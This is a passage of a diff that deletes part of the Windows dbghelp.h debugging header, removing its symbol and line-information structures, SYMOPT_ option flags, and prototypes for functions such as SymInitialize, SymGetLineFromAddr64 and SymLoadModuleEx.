- BOOL DbgUnmatched; // loaded an unmatched dbg
- BOOL LineNumbers; // we have line number information
- BOOL GlobalSymbols; // we have internal symbol information
- BOOL TypeInfo; // we have type information
- // new elements: 17-Dec-2003
- BOOL SourceIndexed; // pdb supports source server
- BOOL Publics; // contains public symbols
-} IMAGEHLP_MODULE64, *PIMAGEHLP_MODULE64;
-
-typedef struct _IMAGEHLP_MODULEW64 {
- DWORD SizeOfStruct; // set to sizeof(IMAGEHLP_MODULE64)
- DWORD64 BaseOfImage; // base load address of module
- DWORD ImageSize; // virtual size of the loaded module
- DWORD TimeDateStamp; // date/time stamp from pe header
- DWORD CheckSum; // checksum from the pe header
- DWORD NumSyms; // number of symbols in the symbol table
- SYM_TYPE SymType; // type of symbols loaded
- WCHAR ModuleName[32]; // module name
- WCHAR ImageName[256]; // image name
- // new elements: 07-Jun-2002
- WCHAR LoadedImageName[256]; // symbol file name
- WCHAR LoadedPdbName[256]; // pdb file name
- DWORD CVSig; // Signature of the CV record in the debug directories
- WCHAR CVData[MAX_PATH * 3]; // Contents of the CV record
- DWORD PdbSig; // Signature of PDB
- GUID PdbSig70; // Signature of PDB (VC 7 and up)
- DWORD PdbAge; // DBI age of pdb
- BOOL PdbUnmatched; // loaded an unmatched pdb
- BOOL DbgUnmatched; // loaded an unmatched dbg
- BOOL LineNumbers; // we have line number information
- BOOL GlobalSymbols; // we have internal symbol information
- BOOL TypeInfo; // we have type information
- // new elements: 17-Dec-2003
- BOOL SourceIndexed; // pdb supports source server
- BOOL Publics; // contains public symbols
-} IMAGEHLP_MODULEW64, *PIMAGEHLP_MODULEW64;
-
-#if !defined(_IMAGEHLP_SOURCE_) && defined(_IMAGEHLP64)
-#define IMAGEHLP_MODULE IMAGEHLP_MODULE64
-#define PIMAGEHLP_MODULE PIMAGEHLP_MODULE64
-#define IMAGEHLP_MODULEW IMAGEHLP_MODULEW64
-#define PIMAGEHLP_MODULEW PIMAGEHLP_MODULEW64
-#else
-typedef struct _IMAGEHLP_MODULE {
- DWORD SizeOfStruct; // set to sizeof(IMAGEHLP_MODULE)
- DWORD BaseOfImage; // base load address of module
- DWORD ImageSize; // virtual size of the loaded module
- DWORD TimeDateStamp; // date/time stamp from pe header
- DWORD CheckSum; // checksum from the pe header
- DWORD NumSyms; // number of symbols in the symbol table
- SYM_TYPE SymType; // type of symbols loaded
- CHAR ModuleName[32]; // module name
- CHAR ImageName[256]; // image name
- CHAR LoadedImageName[256]; // symbol file name
-} IMAGEHLP_MODULE, *PIMAGEHLP_MODULE;
-
-typedef struct _IMAGEHLP_MODULEW {
- DWORD SizeOfStruct; // set to sizeof(IMAGEHLP_MODULE)
- DWORD BaseOfImage; // base load address of module
- DWORD ImageSize; // virtual size of the loaded module
- DWORD TimeDateStamp; // date/time stamp from pe header
- DWORD CheckSum; // checksum from the pe header
- DWORD NumSyms; // number of symbols in the symbol table
- SYM_TYPE SymType; // type of symbols loaded
- WCHAR ModuleName[32]; // module name
- WCHAR ImageName[256]; // image name
- WCHAR LoadedImageName[256]; // symbol file name
-} IMAGEHLP_MODULEW, *PIMAGEHLP_MODULEW;
-#endif
-
-//
-// source file line data structure
-//
-
-typedef struct _IMAGEHLP_LINE64 {
- DWORD SizeOfStruct; // set to sizeof(IMAGEHLP_LINE64)
- PVOID Key; // internal
- DWORD LineNumber; // line number in file
- PCHAR FileName; // full filename
- DWORD64 Address; // first instruction of line
-} IMAGEHLP_LINE64, *PIMAGEHLP_LINE64;
-
-typedef struct _IMAGEHLP_LINEW64 {
- DWORD SizeOfStruct; // set to sizeof(IMAGEHLP_LINE64)
- PVOID Key; // internal
- DWORD LineNumber; // line number in file
- PWSTR FileName; // full filename
- DWORD64 Address; // first instruction of line
-} IMAGEHLP_LINEW64, *PIMAGEHLP_LINEW64;
-
-#if !defined(_IMAGEHLP_SOURCE_) && defined(_IMAGEHLP64)
-#define IMAGEHLP_LINE IMAGEHLP_LINE64
-#define PIMAGEHLP_LINE PIMAGEHLP_LINE64
-#else
-typedef struct _IMAGEHLP_LINE {
- DWORD SizeOfStruct; // set to sizeof(IMAGEHLP_LINE)
- PVOID Key; // internal
- DWORD LineNumber; // line number in file
- PCHAR FileName; // full filename
- DWORD Address; // first instruction of line
-} IMAGEHLP_LINE, *PIMAGEHLP_LINE;
-
-typedef struct _IMAGEHLP_LINEW {
- DWORD SizeOfStruct; // set to sizeof(IMAGEHLP_LINE64)
- PVOID Key; // internal
- DWORD LineNumber; // line number in file
- PCHAR FileName; // full filename
- DWORD64 Address; // first instruction of line
-} IMAGEHLP_LINEW, *PIMAGEHLP_LINEW;
-#endif
-
-//
-// source file structure
-//
-
-typedef struct _SOURCEFILE {
- DWORD64 ModBase; // base address of loaded module
- PCHAR FileName; // full filename of source
-} SOURCEFILE, *PSOURCEFILE;
-
-typedef struct _SOURCEFILEW {
- DWORD64 ModBase; // base address of loaded module
- PWSTR FileName; // full filename of source
-} SOURCEFILEW, *PSOURCEFILEW;
-
-//
-// data structures used for registered symbol callbacks
-//
-
-#define CBA_DEFERRED_SYMBOL_LOAD_START 0x00000001
-#define CBA_DEFERRED_SYMBOL_LOAD_COMPLETE 0x00000002
-#define CBA_DEFERRED_SYMBOL_LOAD_FAILURE 0x00000003
-#define CBA_SYMBOLS_UNLOADED 0x00000004
-#define CBA_DUPLICATE_SYMBOL 0x00000005
-#define CBA_READ_MEMORY 0x00000006
-#define CBA_DEFERRED_SYMBOL_LOAD_CANCEL 0x00000007
-#define CBA_SET_OPTIONS 0x00000008
-#define CBA_EVENT 0x00000010
-#define CBA_DEFERRED_SYMBOL_LOAD_PARTIAL 0x00000020
-#define CBA_DEBUG_INFO 0x10000000
-#define CBA_SRCSRV_INFO 0x20000000
-#define CBA_SRCSRV_EVENT 0x40000000
-
-typedef struct _IMAGEHLP_CBA_READ_MEMORY {
- DWORD64 addr; // address to read from
- PVOID buf; // buffer to read to
- DWORD bytes; // amount of bytes to read
- DWORD *bytesread; // pointer to store amount of bytes read
-} IMAGEHLP_CBA_READ_MEMORY, *PIMAGEHLP_CBA_READ_MEMORY;
-
-enum {
- sevInfo = 0,
- sevProblem,
- sevAttn,
- sevFatal,
- sevMax // unused
-};
-
-#define EVENT_SRCSPEW_START 100
-#define EVENT_SRCSPEW 100
-#define EVENT_SRCSPEW_END 199
-
-typedef struct _IMAGEHLP_CBA_EVENT {
- DWORD severity; // values from sevInfo to sevFatal
- DWORD code; // numerical code IDs the error
- PCHAR desc; // may contain a text description of the error
- PVOID object; // value dependant upon the error code
-} IMAGEHLP_CBA_EVENT, *PIMAGEHLP_CBA_EVENT;
-
-typedef struct _IMAGEHLP_CBA_EVENTW {
- DWORD severity; // values from sevInfo to sevFatal
- DWORD code; // numerical code IDs the error
- PCWSTR desc; // may contain a text description of the error
- PVOID object; // value dependant upon the error code
-} IMAGEHLP_CBA_EVENTW, *PIMAGEHLP_CBA_EVENTW;
-
-typedef struct _IMAGEHLP_DEFERRED_SYMBOL_LOAD64 {
- DWORD SizeOfStruct; // set to sizeof(IMAGEHLP_DEFERRED_SYMBOL_LOAD64)
- DWORD64 BaseOfImage; // base load address of module
- DWORD CheckSum; // checksum from the pe header
- DWORD TimeDateStamp; // date/time stamp from pe header
- CHAR FileName[MAX_PATH]; // symbols file or image name
- BOOLEAN Reparse; // load failure reparse
- HANDLE hFile; // file handle, if passed
- DWORD Flags; //
-} IMAGEHLP_DEFERRED_SYMBOL_LOAD64, *PIMAGEHLP_DEFERRED_SYMBOL_LOAD64;
-
-typedef struct _IMAGEHLP_DEFERRED_SYMBOL_LOADW64 {
- DWORD SizeOfStruct; // set to sizeof(IMAGEHLP_DEFERRED_SYMBOL_LOADW64)
- DWORD64 BaseOfImage; // base load address of module
- DWORD CheckSum; // checksum from the pe header
- DWORD TimeDateStamp; // date/time stamp from pe header
- WCHAR FileName[MAX_PATH + 1]; // symbols file or image name
- BOOLEAN Reparse; // load failure reparse
- HANDLE hFile; // file handle, if passed
- DWORD Flags; //
-} IMAGEHLP_DEFERRED_SYMBOL_LOADW64, *PIMAGEHLP_DEFERRED_SYMBOL_LOADW64;
-
-#define DSLFLAG_MISMATCHED_PDB 0x1
-#define DSLFLAG_MISMATCHED_DBG 0x2
-
-#if !defined(_IMAGEHLP_SOURCE_) && defined(_IMAGEHLP64)
-#define IMAGEHLP_DEFERRED_SYMBOL_LOAD IMAGEHLP_DEFERRED_SYMBOL_LOAD64
-#define PIMAGEHLP_DEFERRED_SYMBOL_LOAD PIMAGEHLP_DEFERRED_SYMBOL_LOAD64
-#else
-typedef struct _IMAGEHLP_DEFERRED_SYMBOL_LOAD {
- DWORD SizeOfStruct; // set to sizeof(IMAGEHLP_DEFERRED_SYMBOL_LOAD)
- DWORD BaseOfImage; // base load address of module
- DWORD CheckSum; // checksum from the pe header
- DWORD TimeDateStamp; // date/time stamp from pe header
- CHAR FileName[MAX_PATH]; // symbols file or image name
- BOOLEAN Reparse; // load failure reparse
- HANDLE hFile; // file handle, if passed
-} IMAGEHLP_DEFERRED_SYMBOL_LOAD, *PIMAGEHLP_DEFERRED_SYMBOL_LOAD;
-#endif
-
-typedef struct _IMAGEHLP_DUPLICATE_SYMBOL64 {
- DWORD SizeOfStruct; // set to sizeof(IMAGEHLP_DUPLICATE_SYMBOL64)
- DWORD NumberOfDups; // number of duplicates in the Symbol array
- PIMAGEHLP_SYMBOL64 Symbol; // array of duplicate symbols
- DWORD SelectedSymbol; // symbol selected (-1 to start)
-} IMAGEHLP_DUPLICATE_SYMBOL64, *PIMAGEHLP_DUPLICATE_SYMBOL64;
-
-#if !defined(_IMAGEHLP_SOURCE_) && defined(_IMAGEHLP64)
-#define IMAGEHLP_DUPLICATE_SYMBOL IMAGEHLP_DUPLICATE_SYMBOL64
-#define PIMAGEHLP_DUPLICATE_SYMBOL PIMAGEHLP_DUPLICATE_SYMBOL64
-#else
-typedef struct _IMAGEHLP_DUPLICATE_SYMBOL {
- DWORD SizeOfStruct; // set to sizeof(IMAGEHLP_DUPLICATE_SYMBOL)
- DWORD NumberOfDups; // number of duplicates in the Symbol array
- PIMAGEHLP_SYMBOL Symbol; // array of duplicate symbols
- DWORD SelectedSymbol; // symbol selected (-1 to start)
-} IMAGEHLP_DUPLICATE_SYMBOL, *PIMAGEHLP_DUPLICATE_SYMBOL;
-#endif
-
-// If dbghelp ever needs to display graphical UI, it will use this as the parent window.
-
-BOOL
-IMAGEAPI
-SymSetParentWindow(
- __in HWND hwnd
- );
-
-PCHAR
-IMAGEAPI
-SymSetHomeDirectory(
- __in_opt HANDLE hProcess,
- __in_opt PCSTR dir
- );
-
-PWSTR
-IMAGEAPI
-SymSetHomeDirectoryW(
- __in_opt HANDLE hProcess,
- __in_opt PCWSTR dir
- );
-
-PCHAR
-IMAGEAPI
-SymGetHomeDirectory(
- __in DWORD type,
- __out_ecount(size) PSTR dir,
- __in size_t size
- );
-
-PWSTR
-IMAGEAPI
-SymGetHomeDirectoryW(
- __in DWORD type,
- __out_ecount(size) PWSTR dir,
- __in size_t size
- );
-
-typedef enum {
- hdBase = 0, // root directory for dbghelp
- hdSym, // where symbols are stored
- hdSrc, // where source is stored
- hdMax // end marker
-};
-
-typedef struct _OMAP {
- ULONG rva;
- ULONG rvaTo;
-} OMAP, *POMAP;
-
-BOOL
-IMAGEAPI
-SymGetOmaps(
- __in HANDLE hProcess,
- __in DWORD64 BaseOfDll,
- __out POMAP *OmapTo,
- __out PDWORD64 cOmapTo,
- __out POMAP *OmapFrom,
- __out PDWORD64 cOmapFrom
- );
-
-//
-// options that are set/returned by SymSetOptions() & SymGetOptions()
-// these are used as a mask
-//
-#define SYMOPT_CASE_INSENSITIVE 0x00000001
-#define SYMOPT_UNDNAME 0x00000002
-#define SYMOPT_DEFERRED_LOADS 0x00000004
-#define SYMOPT_NO_CPP 0x00000008
-#define SYMOPT_LOAD_LINES 0x00000010
-#define SYMOPT_OMAP_FIND_NEAREST 0x00000020
-#define SYMOPT_LOAD_ANYTHING 0x00000040
-#define SYMOPT_IGNORE_CVREC 0x00000080
-#define SYMOPT_NO_UNQUALIFIED_LOADS 0x00000100
-#define SYMOPT_FAIL_CRITICAL_ERRORS 0x00000200
-#define SYMOPT_EXACT_SYMBOLS 0x00000400
-#define SYMOPT_ALLOW_ABSOLUTE_SYMBOLS 0x00000800
-#define SYMOPT_IGNORE_NT_SYMPATH 0x00001000
-#define SYMOPT_INCLUDE_32BIT_MODULES 0x00002000
-#define SYMOPT_PUBLICS_ONLY 0x00004000
-#define SYMOPT_NO_PUBLICS 0x00008000
-#define SYMOPT_AUTO_PUBLICS 0x00010000
-#define SYMOPT_NO_IMAGE_SEARCH 0x00020000
-#define SYMOPT_SECURE 0x00040000
-#define SYMOPT_NO_PROMPTS 0x00080000
-#define SYMOPT_OVERWRITE 0x00100000
-#define SYMOPT_IGNORE_IMAGEDIR 0x00200000
-#define SYMOPT_FLAT_DIRECTORY 0x00400000
-#define SYMOPT_FAVOR_COMPRESSED 0x00800000
-#define SYMOPT_ALLOW_ZERO_ADDRESS 0x01000000
-#define SYMOPT_DISABLE_SYMSRV_AUTODETECT 0x02000000
-
-#define SYMOPT_DEBUG 0x80000000
-
-DWORD
-IMAGEAPI
-SymSetOptions(
- __in DWORD SymOptions
- );
-
-DWORD
-IMAGEAPI
-SymGetOptions(
- VOID
- );
-
-BOOL
-IMAGEAPI
-SymCleanup(
- __in HANDLE hProcess
- );
-
-BOOL
-IMAGEAPI
-SymMatchString(
- __in PCSTR string,
- __in PCSTR expression,
- __in BOOL fCase
- );
-
-BOOL
-IMAGEAPI
-SymMatchStringA(
- __in PCSTR string,
- __in PCSTR expression,
- __in BOOL fCase
- );
-
-BOOL
-IMAGEAPI
-SymMatchStringW(
- __in PCWSTR string,
- __in PCWSTR expression,
- __in BOOL fCase
- );
-
-typedef BOOL
-(CALLBACK *PSYM_ENUMSOURCEFILES_CALLBACK)(
- __in PSOURCEFILE pSourceFile,
- __in_opt PVOID UserContext
- );
-
-// for backwards compatibility - don't use this
-#define PSYM_ENUMSOURCFILES_CALLBACK PSYM_ENUMSOURCEFILES_CALLBACK
-
-BOOL
-IMAGEAPI
-SymEnumSourceFiles(
- __in HANDLE hProcess,
- __in ULONG64 ModBase,
- __in_opt PCSTR Mask,
- __in PSYM_ENUMSOURCEFILES_CALLBACK cbSrcFiles,
- __in_opt PVOID UserContext
- );
-
-typedef BOOL
-(CALLBACK *PSYM_ENUMSOURCEFILES_CALLBACKW)(
- __in PSOURCEFILEW pSourceFile,
- __in_opt PVOID UserContext
- );
-
-BOOL
-IMAGEAPI
-SymEnumSourceFilesW(
- __in HANDLE hProcess,
- __in ULONG64 ModBase,
- __in_opt PCWSTR Mask,
- __in PSYM_ENUMSOURCEFILES_CALLBACKW cbSrcFiles,
- __in_opt PVOID UserContext
- );
-
-BOOL
-IMAGEAPI
-SymEnumerateModules64(
- __in HANDLE hProcess,
- __in PSYM_ENUMMODULES_CALLBACK64 EnumModulesCallback,
- __in_opt PVOID UserContext
- );
-
-BOOL
-IMAGEAPI
-SymEnumerateModulesW64(
- __in HANDLE hProcess,
- __in PSYM_ENUMMODULES_CALLBACKW64 EnumModulesCallback,
- __in_opt PVOID UserContext
- );
-
-#if !defined(_IMAGEHLP_SOURCE_) && defined(_IMAGEHLP64)
-#define SymEnumerateModules SymEnumerateModules64
-#else
-BOOL
-IMAGEAPI
-SymEnumerateModules(
- __in HANDLE hProcess,
- __in PSYM_ENUMMODULES_CALLBACK EnumModulesCallback,
- __in_opt PVOID UserContext
- );
-#endif
-
-BOOL
-IMAGEAPI
-EnumerateLoadedModulesEx(
- __in HANDLE hProcess,
- __in PENUMLOADED_MODULES_CALLBACK64 EnumLoadedModulesCallback,
- __in_opt PVOID UserContext
- );
-
-BOOL
-IMAGEAPI
-EnumerateLoadedModulesExW(
- __in HANDLE hProcess,
- __in PENUMLOADED_MODULES_CALLBACKW64 EnumLoadedModulesCallback,
- __in_opt PVOID UserContext
- );
-
-BOOL
-IMAGEAPI
-EnumerateLoadedModules64(
- __in HANDLE hProcess,
- __in PENUMLOADED_MODULES_CALLBACK64 EnumLoadedModulesCallback,
- __in_opt PVOID UserContext
- );
-
-BOOL
-IMAGEAPI
-EnumerateLoadedModulesW64(
- __in HANDLE hProcess,
- __in PENUMLOADED_MODULES_CALLBACKW64 EnumLoadedModulesCallback,
- __in_opt PVOID UserContext
- );
-
-#if !defined(_IMAGEHLP_SOURCE_) && defined(_IMAGEHLP64)
-#define EnumerateLoadedModules EnumerateLoadedModules64
-#else
-BOOL
-IMAGEAPI
-EnumerateLoadedModules(
- __in HANDLE hProcess,
- __in PENUMLOADED_MODULES_CALLBACK EnumLoadedModulesCallback,
- __in_opt PVOID UserContext
- );
-#endif
-
-PVOID
-IMAGEAPI
-SymFunctionTableAccess64(
- __in HANDLE hProcess,
- __in DWORD64 AddrBase
- );
-
-#if !defined(_IMAGEHLP_SOURCE_) && defined(_IMAGEHLP64)
-#define SymFunctionTableAccess SymFunctionTableAccess64
-#else
-PVOID
-IMAGEAPI
-SymFunctionTableAccess(
- __in HANDLE hProcess,
- __in DWORD AddrBase
- );
-#endif
-
-BOOL
-IMAGEAPI
-SymGetUnwindInfo(
- __in HANDLE hProcess,
- __in DWORD64 Address,
- __out_bcount_opt(*Size) PVOID Buffer,
- __inout PULONG Size
- );
-
-BOOL
-IMAGEAPI
-SymGetModuleInfo64(
- __in HANDLE hProcess,
- __in DWORD64 qwAddr,
- __out PIMAGEHLP_MODULE64 ModuleInfo
- );
-
-BOOL
-IMAGEAPI
-SymGetModuleInfoW64(
- __in HANDLE hProcess,
- __in DWORD64 qwAddr,
- __out PIMAGEHLP_MODULEW64 ModuleInfo
- );
-
-#if !defined(_IMAGEHLP_SOURCE_) && defined(_IMAGEHLP64)
-#define SymGetModuleInfo SymGetModuleInfo64
-#define SymGetModuleInfoW SymGetModuleInfoW64
-#else
-BOOL
-IMAGEAPI
-SymGetModuleInfo(
- __in HANDLE hProcess,
- __in DWORD dwAddr,
- __out PIMAGEHLP_MODULE ModuleInfo
- );
-
-BOOL
-IMAGEAPI
-SymGetModuleInfoW(
- __in HANDLE hProcess,
- __in DWORD dwAddr,
- __out PIMAGEHLP_MODULEW ModuleInfo
- );
-#endif
-
-DWORD64
-IMAGEAPI
-SymGetModuleBase64(
- __in HANDLE hProcess,
- __in DWORD64 qwAddr
- );
-
-#if !defined(_IMAGEHLP_SOURCE_) && defined(_IMAGEHLP64)
-#define SymGetModuleBase SymGetModuleBase64
-#else
-DWORD
-IMAGEAPI
-SymGetModuleBase(
- __in HANDLE hProcess,
- __in DWORD dwAddr
- );
-#endif
-
-typedef struct _SRCCODEINFO {
- DWORD SizeOfStruct; // set to sizeof(SRCCODEINFO)
- PVOID Key; // not used
- DWORD64 ModBase; // base address of module this applies to
- CHAR Obj[MAX_PATH + 1]; // the object file within the module
- CHAR FileName[MAX_PATH + 1]; // full filename
- DWORD LineNumber; // line number in file
- DWORD64 Address; // first instruction of line
-} SRCCODEINFO, *PSRCCODEINFO;
-
-typedef struct _SRCCODEINFOW {
- DWORD SizeOfStruct; // set to sizeof(SRCCODEINFO)
- PVOID Key; // not used
- DWORD64 ModBase; // base address of module this applies to
- WCHAR Obj[MAX_PATH + 1]; // the object file within the module
- WCHAR FileName[MAX_PATH + 1]; // full filename
- DWORD LineNumber; // line number in file
- DWORD64 Address; // first instruction of line
-} SRCCODEINFOW, *PSRCCODEINFOW;
-
-typedef BOOL
-(CALLBACK *PSYM_ENUMLINES_CALLBACK)(
- __in PSRCCODEINFO LineInfo,
- __in_opt PVOID UserContext
- );
-
-BOOL
-IMAGEAPI
-SymEnumLines(
- __in HANDLE hProcess,
- __in ULONG64 Base,
- __in_opt PCSTR Obj,
- __in_opt PCSTR File,
- __in PSYM_ENUMLINES_CALLBACK EnumLinesCallback,
- __in_opt PVOID UserContext
- );
-
-typedef BOOL
-(CALLBACK *PSYM_ENUMLINES_CALLBACKW)(
- __in PSRCCODEINFOW LineInfo,
- __in_opt PVOID UserContext
- );
-
-BOOL
-IMAGEAPI
-SymEnumLinesW(
- __in HANDLE hProcess,
- __in ULONG64 Base,
- __in_opt PCWSTR Obj,
- __in_opt PCWSTR File,
- __in PSYM_ENUMLINES_CALLBACKW EnumLinesCallback,
- __in_opt PVOID UserContext
- );
-
-BOOL
-IMAGEAPI
-SymGetLineFromAddr64(
- __in HANDLE hProcess,
- __in DWORD64 qwAddr,
- __out PDWORD pdwDisplacement,
- __out PIMAGEHLP_LINE64 Line64
- );
-
-BOOL
-IMAGEAPI
-SymGetLineFromAddrW64(
- __in HANDLE hProcess,
- __in DWORD64 dwAddr,
- __out PDWORD pdwDisplacement,
- __out PIMAGEHLP_LINEW64 Line
- );
-
-BOOL
-IMAGEAPI
-SymEnumSourceLines(
- __in HANDLE hProcess,
- __in ULONG64 Base,
- __in_opt PCSTR Obj,
- __in_opt PCSTR File,
- __in_opt DWORD Line,
- __in DWORD Flags,
- __in PSYM_ENUMLINES_CALLBACK EnumLinesCallback,
- __in_opt PVOID UserContext
- );
-
-BOOL
-IMAGEAPI
-SymEnumSourceLinesW(
- __in HANDLE hProcess,
- __in ULONG64 Base,
- __in_opt PCWSTR Obj,
- __in_opt PCWSTR File,
- __in_opt DWORD Line,
- __in DWORD Flags,
- __in PSYM_ENUMLINES_CALLBACKW EnumLinesCallback,
- __in_opt PVOID UserContext
- );
-
-// flags for SymEnumSourceLines
-
-#define ESLFLAG_FULLPATH 0x1
-#define ESLFLAG_NEAREST 0x2
-#define ESLFLAG_PREV 0x4
-#define ESLFLAG_NEXT 0x8
-
-#if !defined(_IMAGEHLP_SOURCE_) && defined(_IMAGEHLP64)
-#define SymGetLineFromAddr SymGetLineFromAddr64
-#define SymGetLineFromAddrW SymGetLineFromAddrW64
-#else
-BOOL
-IMAGEAPI
-SymGetLineFromAddr(
- __in HANDLE hProcess,
- __in DWORD dwAddr,
- __out PDWORD pdwDisplacement,
- __out PIMAGEHLP_LINE Line
- );
-
-BOOL
-IMAGEAPI
-SymGetLineFromAddrW(
- __in HANDLE hProcess,
- __in DWORD dwAddr,
- __out PDWORD pdwDisplacement,
- __out PIMAGEHLP_LINEW Line
- );
-#endif
-
-BOOL
-IMAGEAPI
-SymGetLineFromName64(
- __in HANDLE hProcess,
- __in_opt PCSTR ModuleName,
- __in_opt PCSTR FileName,
- __in DWORD dwLineNumber,
- __out PLONG plDisplacement,
- __inout PIMAGEHLP_LINE64 Line
- );
-
-BOOL
-IMAGEAPI
-SymGetLineFromNameW64(
- __in HANDLE hProcess,
- __in_opt PCWSTR ModuleName,
- __in_opt PCWSTR FileName,
- __in DWORD dwLineNumber,
- __out PLONG plDisplacement,
- __inout PIMAGEHLP_LINEW64 Line
- );
-
-#if !defined(_IMAGEHLP_SOURCE_) && defined(_IMAGEHLP64)
-#define SymGetLineFromName SymGetLineFromName64
-#else
-BOOL
-IMAGEAPI
-SymGetLineFromName(
- __in HANDLE hProcess,
- __in_opt PCSTR ModuleName,
- __in_opt PCSTR FileName,
- __in DWORD dwLineNumber,
- __out PLONG plDisplacement,
- __inout PIMAGEHLP_LINE Line
- );
-#endif
-
-BOOL
-IMAGEAPI
-SymGetLineNext64(
- __in HANDLE hProcess,
- __inout PIMAGEHLP_LINE64 Line
- );
-
-BOOL
-IMAGEAPI
-SymGetLineNextW64(
- __in HANDLE hProcess,
- __inout PIMAGEHLP_LINEW64 Line
- );
-
-#if !defined(_IMAGEHLP_SOURCE_) && defined(_IMAGEHLP64)
-#define SymGetLineNext SymGetLineNext64
-#else
-BOOL
-IMAGEAPI
-SymGetLineNext(
- __in HANDLE hProcess,
- __inout PIMAGEHLP_LINE Line
- );
-
-BOOL
-IMAGEAPI
-SymGetLineNextW(
- __in HANDLE hProcess,
- __inout PIMAGEHLP_LINEW Line
- );
-#endif
-
-BOOL
-IMAGEAPI
-SymGetLinePrev64(
- __in HANDLE hProcess,
- __inout PIMAGEHLP_LINE64 Line
- );
-
-BOOL
-IMAGEAPI
-SymGetLinePrevW64(
- __in HANDLE hProcess,
- __inout PIMAGEHLP_LINEW64 Line
- );
-
-#if !defined(_IMAGEHLP_SOURCE_) && defined(_IMAGEHLP64)
-#define SymGetLinePrev SymGetLinePrev64
-#else
-BOOL
-IMAGEAPI
-SymGetLinePrev(
- __in HANDLE hProcess,
- __inout PIMAGEHLP_LINE Line
- );
-
-BOOL
-IMAGEAPI
-SymGetLinePrevW(
- __in HANDLE hProcess,
- __inout PIMAGEHLP_LINEW Line
- );
-#endif
-
-ULONG
-IMAGEAPI
-SymGetFileLineOffsets64(
- __in HANDLE hProcess,
- __in_opt PCSTR ModuleName,
- __in PCSTR FileName,
- __out_ecount(BufferLines) PDWORD64 Buffer,
- __in ULONG BufferLines
- );
-
-BOOL
-IMAGEAPI
-SymMatchFileName(
- __in PCSTR FileName,
- __in PCSTR Match,
- __deref_opt_out PSTR *FileNameStop,
- __deref_opt_out PSTR *MatchStop
- );
-
-BOOL
-IMAGEAPI
-SymMatchFileNameW(
- __in PCWSTR FileName,
- __in PCWSTR Match,
- __deref_opt_out PWSTR *FileNameStop,
- __deref_opt_out PWSTR *MatchStop
- );
-
-BOOL
-IMAGEAPI
-SymGetSourceFile(
- __in HANDLE hProcess,
- __in ULONG64 Base,
- __in_opt PCSTR Params,
- __in PCSTR FileSpec,
- __out_ecount(Size) PSTR FilePath,
- __in DWORD Size
- );
-
-BOOL
-IMAGEAPI
-SymGetSourceFileW(
- __in HANDLE hProcess,
- __in ULONG64 Base,
- __in_opt PCWSTR Params,
- __in PCWSTR FileSpec,
- __out_ecount(Size) PWSTR FilePath,
- __in DWORD Size
- );
-
-BOOL
-IMAGEAPI
-SymGetSourceFileToken(
- __in HANDLE hProcess,
- __in ULONG64 Base,
- __in PCSTR FileSpec,
- __deref_out PVOID *Token,
- __out DWORD *Size
- );
-
-BOOL
-IMAGEAPI
-SymGetSourceFileTokenW(
- __in HANDLE hProcess,
- __in ULONG64 Base,
- __in PCWSTR FileSpec,
- __deref_out PVOID *Token,
- __out DWORD *Size
- );
-
-BOOL
-IMAGEAPI
-SymGetSourceFileFromToken(
- __in HANDLE hProcess,
- __in PVOID Token,
- __in_opt PCSTR Params,
- __out_ecount(Size) PSTR FilePath,
- __in DWORD Size
- );
-
-BOOL
-IMAGEAPI
-SymGetSourceFileFromTokenW(
- __in HANDLE hProcess,
- __in PVOID Token,
- __in_opt PCWSTR Params,
- __out_ecount(Size) PWSTR FilePath,
- __in DWORD Size
- );
-
-BOOL
-IMAGEAPI
-SymGetSourceVarFromToken(
- __in HANDLE hProcess,
- __in PVOID Token,
- __in_opt PCSTR Params,
- __in PCSTR VarName,
- __out_ecount(Size) PSTR Value,
- __in DWORD Size
- );
-
-BOOL
-IMAGEAPI
-SymGetSourceVarFromTokenW(
- __in HANDLE hProcess,
- __in PVOID Token,
- __in_opt PCWSTR Params,
- __in PCWSTR VarName,
- __out_ecount(Size) PWSTR Value,
- __in DWORD Size
- );
-
-typedef BOOL (CALLBACK *PENUMSOURCEFILETOKENSCALLBACK)(__in PVOID token, __in size_t size);
-
-BOOL
-IMAGEAPI
-SymEnumSourceFileTokens(
- __in HANDLE hProcess,
- __in ULONG64 Base,
- __in PENUMSOURCEFILETOKENSCALLBACK Callback
- );
-
-BOOL
-IMAGEAPI
-SymInitialize(
- __in HANDLE hProcess,
- __in_opt PCSTR UserSearchPath,
- __in BOOL fInvadeProcess
- );
-
-BOOL
-IMAGEAPI
-SymInitializeW(
- __in HANDLE hProcess,
- __in_opt PCWSTR UserSearchPath,
- __in BOOL fInvadeProcess
- );
-
-BOOL
-IMAGEAPI
-SymGetSearchPath(
- __in HANDLE hProcess,
- __out_ecount(SearchPathLength) PSTR SearchPath,
- __in DWORD SearchPathLength
- );
-
-BOOL
-IMAGEAPI
-SymGetSearchPathW(
- __in HANDLE hProcess,
- __out_ecount(SearchPathLength) PWSTR SearchPath,
- __in DWORD SearchPathLength
- );
-
-BOOL
-IMAGEAPI
-SymSetSearchPath(
- __in HANDLE hProcess,
- __in_opt PCSTR SearchPath
- );
-
-BOOL
-IMAGEAPI
-SymSetSearchPathW(
- __in HANDLE hProcess,
- __in_opt PCWSTR SearchPath
- );
-
-#define SLMFLAG_VIRTUAL 0x1
-#define SLMFLAG_ALT_INDEX 0x2
-#define SLMFLAG_NO_SYMBOLS 0x4
-
-DWORD64
-IMAGEAPI
-SymLoadModuleEx(
- __in HANDLE hProcess,
- __in_opt HANDLE hFile,
- __in_opt PCSTR ImageName,
- __in_opt PCSTR ModuleName,
- __in DWORD64 BaseOfDll,
- __in DWORD DllSize,
- __in_opt PMODLOAD_DATA Data,
- __in_opt DWORD Flags
- );
-
-DWORD64
-IMAGEAPI
-SymLoadModuleExW(
- __in HANDLE hProcess,
- __in_opt HANDLE hFile,
- __in_opt PCWSTR ImageName,
- __in_opt PCWSTR ModuleName,
- __in DWORD64 BaseOfDll,
- __in DWORD DllSize,
- __in_opt PMODLOAD_DATA Data,
- __in_opt DWORD Flags
- );
-
-BOOL
-IMAGEAPI
-SymUnloadModule64(
- __in HANDLE hProcess,
- __in DWORD64 BaseOfDll
- );
-
-#if !defined(_IMAGEHLP_SOURCE_) && defined(_IMAGEHLP64)
-#define SymUnloadModule SymUnloadModule64
-#else
-BOOL
-IMAGEAPI
-SymUnloadModule(
- __in HANDLE hProcess,
- __in DWORD BaseOfDll
- );
-#endif
-
-BOOL
-IMAGEAPI
-SymUnDName64(
- __in PIMAGEHLP_SYMBOL64 sym, // Symbol to undecorate
- __out_ecount(UnDecNameLength) PSTR UnDecName, // Buffer to store undecorated name in
- __in DWORD UnDecNameLength // Size of the buffer
- );
